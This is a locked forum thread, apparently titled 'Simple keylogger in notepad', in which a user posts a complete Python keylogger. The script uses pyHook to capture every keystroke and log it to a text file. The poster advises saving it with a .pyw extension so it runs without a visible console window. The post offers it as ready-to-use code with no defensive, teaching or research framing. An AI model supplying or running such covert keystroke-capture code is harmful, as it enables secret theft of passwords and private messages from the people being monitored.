🔒 Closed Simple ********* inna noteppad

Status
Not open for further replies.

PUTANKINNAMALL

Forum Veteran
Code:
import pyHook, pythoncom, sys, logging
# feel free to set the file_log to a different file name/location
file_log = 'keyl0ggeroutput.txt'
def OnKeyboardEvent(event):
logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
chr(event.Ascii)
logging.log(10,chr(event.Ascii))
return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()


save in .pyw extension

everystroke logs in your keyl0ggeroutput.txt

ciao :)
 
Status
Not open for further replies.

About this Thread

  • 10
    Replies
  • 761
    Views
  • 7
    Participants
Last reply from:
swapnil

Trending Topics

Online now

Members online
1,077
Guests online
3,375
Total visitors
4,452

Forum statistics

Threads
2,278,510
Posts
28,983,910
Members
1,227,442
Latest member
Jjakol1219
Back
Top